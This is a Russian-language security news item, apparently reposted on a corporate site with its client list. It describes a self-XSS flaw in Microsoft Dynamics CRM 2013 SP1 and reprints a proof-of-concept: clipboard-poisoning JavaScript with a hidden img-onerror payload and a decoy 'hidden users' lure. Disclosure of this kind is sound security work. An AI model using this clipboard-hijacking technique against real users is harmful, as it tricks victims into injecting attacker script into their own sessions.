В Microsoft Dynamics CRM 2013 SP1 обнаружена XSS-уязвимость

В Microsoft Dynamics CRM 2013 SP1 обнаружена XSS-уязвимость

Специалисты компании High-Tech Bridge обнаружили XSS-уязвимость в Microsoft Dynamics CRM 2013 SP1. Проэксплуатировав ее, злоумышленник может выполнить произвольный скриптовый код в контексте уязвимого web-сайта.

Уязвимость существует из-за недостаточной обработки входных данных в сценарии “/biz/users/addusers/selectuserspage.aspx” после неудачной попытки отправить XML SOAP-запрос. Для успешной эксплуатации бреши злоумышленник должен заставить жертву вставить вредоносный HTML- и скриптовый код в поле “newUsers_ledit” и выполнить его. Отметим, что для совершения атаки злоумышленник должен обладать навыками социального инжиниринга, чтобы вынудить пользователя вставить вредоносный код в вышеуказанное поле. Ожидается, что, несмотря на высокую сложность эксплуатации уязвимости, хакеры все равно воспользуются ею для осуществления атак против пользователей Microsoft Dynamics CRS.

Ниже представлен PoC-код уязвимости, который отобразит пользователю легитимный текст, но заменит содержимое его буфера обмена на вредоносный код:

<script>

// simple exploit to poison clipboard

function replaceBuffer() {

var selection = window.getSelection(),

eviltext = '1&lt;img src=x onerror=alert("ImmuniWeb") /&gt;',

copytext = eviltext,

newdiv = document.createElement('div');

newdiv.style.position = 'absolute';

newdiv.style.left = '-99999px';

document.body.appendChild(newdiv);

newdiv.innerHTML = copytext;

selection.selectAllChildren(newdiv);

window.setTimeout(function () {

document.body.removeChild(newdiv);

}, 100);

}

document.addEventListener('copy', replaceBuffer);

</script>

<div>In order to find hidden users just copy this string into the search window:<br>

HIDDEN USERS&&DISPLAY</div>

В своем браузере жертва увидит текст HIDDEN USERS&&DISPLAY, но в буфер обмена будет скопирован вредоносный пэйлоад 1<img src=x onerror=alert("ImmuniWeb")>.

После отображения данного текста злоумышленник должен вынудить пользователя вставить вредоносный код в поле “newUsers_ledit” на странице “/biz/users/addusers/selectuserspage.aspx”.

Отметим, что компания Microsoft не считает данную ошибку уязвимостью – критерии оценивания уязвимостей не расценивают self-XSS-атаки (атаки, в которых пользователь должен самостоятельно выполнить вредоносный пэйлоад) как отдельные бреши.

Подробнее: http://www.securitylab.ru/news/469511.php

09.01.2015

Возврат к списку

КЛИЕНТЫ КОМПАНИИ

Asia
Аеропорт
Волковгеология
AirAstana
Метрополитен
Astel
ЭФКО,
Сентрас Иншуранс
Международный аэропорт Астана
Международный аэропорт Алматы
Bericap Kazakhstan
Метрополитен
Казросгаз
КазМунайГаз
Alina Management
KazConstruction Group
Самрук-Энерго, АО
Amanat Insurance
Nomad Life
KMF